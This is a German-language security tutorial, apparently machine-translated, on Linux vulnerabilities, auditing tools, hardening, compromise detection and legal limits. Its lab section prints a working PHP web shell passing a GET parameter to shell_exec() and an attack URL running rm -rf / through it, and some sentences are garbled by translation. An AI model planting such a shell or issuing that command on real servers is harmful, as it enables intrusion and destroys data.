Linux-Hacking-Tutorial: Ubuntu Befehle und Werkzeuge
โก Intelligente Zusammenfassung
Linux-Hacking ist die Praxis, Schwachstellen in Linux-Systemen zu finden und auszunutzen. Auf dieser Seite werden die Schwachstellen erlรคutert, die Angreifer anvisieren, die verwendeten Prรผfwerkzeuge und die Kontrollmechanismen, die einen Server schรผtzen.

Linux ist das am weitesten verbreitete Serverbetriebssystem, insbesondere fรผr Webserver. Es ist Open Source, das heiรt, jeder kann den Quellcode lesen. Diese Transparenz hat Vor- und Nachteile: Entwickler nutzen sie, um Fehler schnell zu finden und zu beheben, wรคhrend Angreifer denselben Code analysieren, um Schwachstellen auszunutzen. Linux-Hacking bezeichnet die Praxis, diese Schwachstellen auszunutzen, um sich unbefugten Zugriff auf ein System zu verschaffen.
Die folgenden Abschnitte behandeln, was Linux ist, welche Sicherheitslรผcken es betrifft und geben einen praktischen Einblick ins Hacking mit Ubuntuund die Gegenmaรnahmen, die Sie ergreifen kรถnnen.
Kurzer Hinweis zu Linux
Linux ist ein Open-Source-Betriebssystem. Viele Distributionen basieren darauf, darunter Red Hat Enterprise LinuxFedora, Debian und UbuntuDa der Quellcode verรถffentlicht ist, kรถnnen Forscher, Anbieter und Angreifer ihn gleichermaรen einsehen. Angreifer nutzen diesen Zugriff, um nach ausnutzbaren Schwachstellen zu suchen, wรคhrend die gleiche Transparenz es den Entwicklern ermรถglicht, Fehlerbehebungen schneller bereitzustellen, als es bei geschlossenen Plattformen oft der Fall ist. Linux lรคuft als Betriebssystem auf Servern, Desktop-Computern, Tablets und Mobilgerรคten.
Linux-Programme kรถnnen รผber eine grafische Benutzeroberflรคche oder die Kommandozeile bedient werden. Die Arbeit mit der Kommandozeile ist schneller und prรคziser als die Navigation durch eine grafische Oberflรคche, weshalb Sicherheitstester, die mit Distributionen wie Linux arbeiten, diese bevorzugen. Kali Linux Sie verbringen fast ihre gesamte Zeit im Terminal. Die Kenntnis der grundlegenden Befehle ist daher eine praktische Voraussetzung.
Beziehen Sie sich darauf Linux-Tutorial fรผr die Grundlagen und fรผr die Kali Linux Lernprogramm fรผr die darauf aufbauende, sicherheitsorientierte Distribution.
Hรคufige Sicherheitslรผcken und Angriffsvektoren unter Linux
Angriffe auf Linux basieren selten auf exotischen Sicherheitslรผcken. Telemetriedaten aus den Jahren 2025 und 2026 zeigen, dass die meisten Kompromittierungen auf โฆ beruhen. tracKehren wir zu einer kleinen Anzahl wiederkehrender Schwรคchen zurรผck, und wenn wir diese kennen, wissen wir, wo wir unsere defensiven Anstrengungen zuerst konzentrieren sollten.
- Schwache oder wiederverwendete SSH-Zugangsdaten โ Brute-Force-Angriffe und Credential-Stuffing-Versuche gegen SSH-Zugangspunkte mit Internetzugang machen den Groรteil der beobachteten feindseligen Aktivitรคten auf Linux-Endpunkten aus.
- Ungepatchte Kernel- und Paketfehler โ Das Linux-Kernel-Team wurde 2024 zur CVE Numbering Authority ernannt, und die Anzahl der gemeldeten Kernel-CVEs stieg von etwa 290 im Jahr 2023 auf mehr als 3,500 im darauffolgenden Jahr, sodass sich schnell Patch-Rรผckstรคnde aufbauen.
- Fehlkonfiguration โ Standardkonten, unnรถtige Daemons, fรผr alle Benutzer beschreibbare Dateien und permissive sudo-Regeln verleihen Privilegien, fรผr deren Erlangung kein Exploit erforderlich war.
- Anfรคllige Webanwendungen โ Mรคngel wie SQL-Injection Cross-Site-Scripting ermรถglicht es Angreifern, den Server รผber die Anwendung anstatt รผber das Betriebssystem zu erreichen. Web-Shells sind die am hรคufigsten gefundene Schadsoftware auf kompromittierten Linux-Servern.
- Fehler bei der Rechteausweitung โ Lokale Sicherheitslรผcken, die ein eingeschrรคnktes Benutzerkonto in ein Root-Konto verwandeln. Einige blieben รผber ein Jahrzehnt lang unentdeckt im Kernel, bevor sie aufgedeckt wurden.
- Lieferketten- und Abhรคngigkeitsrisiko โ Drittanbieterpakete, Sprachbibliotheken und Container-Images laden Code herunter, den niemand aus dem Betriebsteam geprรผft hat.
Keiner dieser Angriffe erfordert, dass ein Angreifer Linux selbst kompromittiert. Analysen von 2025 Eindringversuchen ergaben, dass etwa vier von fรผnf gar keine Schadsoftware beinhalteten, sondern auf Fehlkonfigurationen und gestohlenen Zugangsdaten beruhten.
Linux-Hacking-Tools
Sicherheitstester und Systemadministratoren verwenden dieselben Scanner: Die einen suchen nach Schwachstellen, bevor Angreifer sie ausnutzen, die anderen รผberprรผfen die Wirksamkeit der Korrekturen. Die folgenden Tools werden am hรคufigsten fรผr die รberprรผfung eines Linux-Hosts eingesetzt.
| Werkzeug | Typ | Lizenz | Typische Verwendung unter Linux |
| Nessus | Scanner fรผr Sicherheitslรผcken | Gewerbliche Anwendungen | Durchsucht Konfigurationseinstellungen, fehlende Patches und Netzwerkdienste in heterogenen Umgebungen. |
| Nmap | Netzwerk- und Portscanner | Open Source | Identifiziert die auf einem Server laufenden Hosts, die von ihnen bereitgestellten Dienste und die geรถffneten Ports. |
| Lynis | Host-Auditierung und -Hรคrtung | Open Source | Prรผft ein laufendes System anhand von Hรคrtungsstandards und meldet konkrete Korrekturmaรnahmen. |
| OpenVAS | Scanner fรผr Sicherheitslรผcken | Open Source | Netzwerk-Schwachstellenscan, der von Greenbone als Teil seiner Community Edition bereitgestellt wird. |
Die Liste ist nicht vollstรคndig; sie vermittelt einen Eindruck von den fรผr die Prรผfung verfรผgbaren Instrumenten. Ubuntu und anderen Linux-Systemen. รltere Anleitungen empfehlen noch SARA, den Security Auditor's Research Assistant, aber dessen letzte Version stammt aus dem Jahr 2009 und die Projektwebsite ist offline, daher Lynis und OpenVAS sind die beibehaltenen Alternativen.
Hacking-Aktivitรคt: Hack a Ubuntu Linux-System mit PHP
In diesem praktischen Szenario untersuchen wir, wie ein Linux-Host รผber eine Webanwendung erreicht werden kann, am Beispiel von PHP. Es wird kein lebendes Opfer angegriffen. Wenn Sie es ausprobieren mรถchten, installieren Sie LAMPP, die Linux-Version von XAMPP, auf Ihrem Rechner.
PHP Es enthรคlt zwei Funktionen zum Ausfรผhren von Betriebssystembefehlen: exec() und shell_exec(). Die Funktion exec() gibt die letzte Zeile der Befehlsausgabe zurรผck, wรคhrend shell_exec() das gesamte Ergebnis des Befehls als Zeichenkette zurรผckgibt.
Nehmen wir zur Veranschaulichung an, ein Angreifer schafft es, die folgende Datei auf einen Webserver hochzuladen.
<?php $cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l'; echo "executing shell command:-> $cmd</br>"; $output = shell_exec($cmd); echo "<pre>$output</pre>"; ?>
HIER,
Das obige Skript liest den Befehl aus der GET-Variablen namens cmd. Der Befehl wird mit shell_exec() ausgefรผhrt und das Ergebnis im Browser angezeigt.
Der obige Code kann mithilfe der folgenden Methoden ausgenutzt werden: URL
http://localhost/cp/konsole.php?cmd=ls%20-l
HIER,
- โโฆkonsole.php?cmd=ls%20-lโ weist der Variablen cmd den Wert ls -l zu.
Der Befehl auf dem Ubuntu Der Server wird daher wie folgt ausgefรผhrt:
shell_exec('ls -l') ;
Die Ausfรผhrung des obigen Codes auf einem Webserver fรผhrt zu einem Ergebnis, das in etwa dem folgenden entspricht.
Die Ausgabe zeigt lediglich die Dateien im aktuellen Verzeichnis und deren Berechtigungen an.
Nehmen wir nun an, der Angreifer รผbergibt stattdessen den folgenden Befehl.
rm -rf /
HIER,
- โrmโ lรถscht Dateien.
- โrfโ bewirkt, dass der Befehl rm rekursiv ausgefรผhrt wird und somit alle Ordner und Dateien gelรถscht werden.
- โ/โ weist den Befehl an, mit dem Lรถschen im Stammverzeichnis zu beginnen.
Der Angriff URL wรผrde ungefรคhr so โโaussehen
http://localhost/cp/konsole.php?cmd=rm%20-rf%20/
Ein einziger nicht validierter Parameter genรผgt daher, um einem Angreifer sรคmtliche Berechtigungen des Webserver-Kontos zu verleihen. Die beiden folgenden Abschnitte dienen dazu, dies zu verhindern und Fehler abzufangen, wenn die Prรคventionsmaรnahmen fehlschlagen.
Wie man Linux-Hacks verhindert
Linux-Hacking nutzt Schwachstellen im Betriebssystem und in der darauf laufenden Software aus. Eine Organisation kann die folgenden, gemeinsam angewandten Maรnahmen ergreifen, um die meisten der oben beschriebenen Sicherheitslรผcken zu schlieรen.
- Patch-Management Patches beheben die Sicherheitslรผcken, die Angreifer ausnutzen, um ein System zu kompromittieren. Eine festgelegte Richtlinie stellt sicher, dass relevante Updates umgehend und nicht nur dann eingespielt werden, wenn sich jemand daran erinnert.
- Richtige Betriebssystemkonfiguration โ Inaktive Benutzerkonten und unnรถtige Dienste deaktivieren. Standardeinstellungen รคndern, einschlieรlich Standardbenutzernamen, Passwรถrter fรผr gemeinsam genutzte Anwendungen und Standardportnummern.
- SSH-Hรคrtung โ Deaktivieren Sie die Anmeldung und Passwortauthentifizierung fรผr den Root-Benutzer, erlauben Sie nur benannte Benutzer oder Gruppen und begrenzen Sie die Anzahl der Authentifizierungsversuche. Dadurch wird der am hรคufigsten angegriffene Sicherheitsvorkehrungspunkt unter Linux geschlossen.
- Geringstes Privileg โ Konten und Diensten sollten nur die Rechte gegeben werden, die sie benรถtigen, und sudo sollte auf bestimmte Befehle beschrรคnkt werden, anstatt einen umfassenden administrativen Zugriff zu gewรคhren.
- Obligatorische Zugriffskontrolle โ SELinux (Red Hat-Familie) oder AppArmor (Debian und Ubuntu) im Erzwingungsmodus, sodass ein kompromittierter Dienst den Rest des Systems nicht erreichen kann.
- Eingabevalidierung โ Die obige Demonstration funktioniert nur, weil die Anfragedaten eine Shell-Funktion erreichen. รbergeben Sie niemals Benutzereingaben an exec() oder shell_exec().
- Firewalls und Segmentierung โ nur die Ports freigeben, die ein Dienst tatsรคchlich benรถtigt, mithilfe eines Firewall und Netzwerksegmentierung, um die Reichweite eines kompromittierten Hosts einzuschrรคnken.
- Einbrucherkennungssystem โ Solche Tools kรถnnen dazu verwendet werden, unbefugten Zugriff auf das System zu erkennen, und einige kรถnnen den Zugriffsversuch auch blockieren.
- Getestete Backups โ Offline wiederherstellbare Backups machen aus einem destruktiven Befehl wie dem oben genannten eher einen vorรผbergehenden Ausfall als einen dauerhaften Datenverlust.
Wie man ein kompromittiertes Linux-System erkennt
Prรคvention scheitert irgendwann, daher ist die zweite Frage, wie schnell man es bemerken wรผrde. Die Erkennung unter Linux hรคngt davon ab, die richtigen Beweise vor einem Vorfall zu sammeln, nicht erst danach.
- Audit-Protokollierung Das Kernel-Audit-Framework auditd protokolliert die Nutzung von Berechtigungen, Dateizugriffe und Systemaufrufe in einer Form, die ein kompromittierter Prozess nicht unbemerkt รผberschreiben kann. Diese Protokolle werden vom Host an einen zentralen Sammler weitergeleitet.
- Authentifizierungsprotokolle โ eine Reihe von Fehlschlรคgen, gefolgt von einem einzelnen Erfolg in /var/log/auth.log oder /var/log/secure, ist die klassische Brute-Force-Signatur.
- Unerwartete Prozesse und Verbindungen โ Ein Abhรถrdienst oder eine ausgehende Verbindung, fรผr die niemand eine Erklรคrung hat, muss sofort untersucht werden.
- รberwachung der Dateiintegritรคt โ Tools, die Systembinรคrdateien und Konfigurationsdateien hashen, kennzeichnen รnderungen an Dateien, die sich niemals รคndern sollten.
- Geplante Aufgaben und Startelemente โ Persistenz findet รผblicherweise in Cronjobs, Systemd-Units oder Shell-Profilskripten statt.
- Neue oder geรคnderte Konten โ Achten Sie auf unbekannte Benutzer, alle zweiten Accounts mit UID 0 und SSH-Schlรผssel, die niemand hinzugefรผgt hat.
- Webserver-Verzeichnisse Da Web-Shells die am hรคufigsten auf Linux-Servern gefundenen Schadprogramme sind, verdienen unerwartete Skriptdateien unter einem Web-Root besondere Aufmerksamkeit.
- Geplante Audits โ Fรผhren Sie ein Host-Audit-Tool wie Lynis regelmรครig aus und behandeln Sie jeden Bericht als Arbeitsliste und nicht als einmalige Aufgabe.
Sollten Sie Anzeichen einer Kompromittierung finden, isolieren Sie den Host, sichern Sie die Protokolle und ein Festplattenabbild, bevor Sie รnderungen vornehmen, und stellen Sie das System von bekannten, fehlerfreien Medien wieder her, anstatt ein laufendes System zu bereinigen. Die Beweissicherung wird in [Referenz einfรผgen] behandelt. digitale Forensik.
Rechtliche und ethische Grenzen des Linux-Hackings
Alle auf dieser Seite beschriebenen Techniken dรผrfen auf Systemen, die Ihnen gehรถren oder fรผr die Sie eine schriftliche Genehmigung zum Testen haben, rechtmรครig angewendet werden; andernorts sind sie jedoch fast รผberall unzulรคssig. Die obige รbung wird aus genau diesem Grund absichtlich auf einer lokalen Installation durchgefรผhrt.
- Schriftliche Genehmigung โ Ein unterzeichneter Testumfang, ein vereinbarter Testzeitraum und ein benannter Ansprechpartner unterscheiden einen Penetrationstest von einer Straftat. Eine mรผndliche Zustimmung genรผgt nicht.
- Bleiben Sie im Rahmen โ Hosts, Adressbereiche und Techniken, die nicht aufgefรผhrt sind, sind nicht zulรคssig, auch wenn sie erreichbar sind.
- Daten sorgfรคltig behandeln โ Beweismittel, die wรคhrend eines Tests gesammelt wurden, enthalten immer noch reale personenbezogene Daten und mรผssen sicher aufbewahrt und anschlieรend vernichtet werden.
- Verantwortungsvoll melden โ die Ergebnisse dem Eigentรผmer mitzuteilen und Zeit fรผr eine Behebung des Problems einzurรคumen, bevor etwas verรถffentlicht wird.
Das rechtliche Risiko ist real: Unbefugter Zugriff auf ein Computersystem ist eine Straftat, beispielsweise nach dem US-amerikanischen Computer Fraud and Abuse Act und dem britischen Computer Misuse Act. Wer in diesem Bereich Karriere machen mรถchte, sollte einen anerkannten Weg einschlagen โ eine Ausbildung zum Computerfachmann oder eine vergleichbare Qualifikation. Sicherheitszertifizierung und dazu noch ein eigenes Labor, anstatt den Server von jemand anderem.

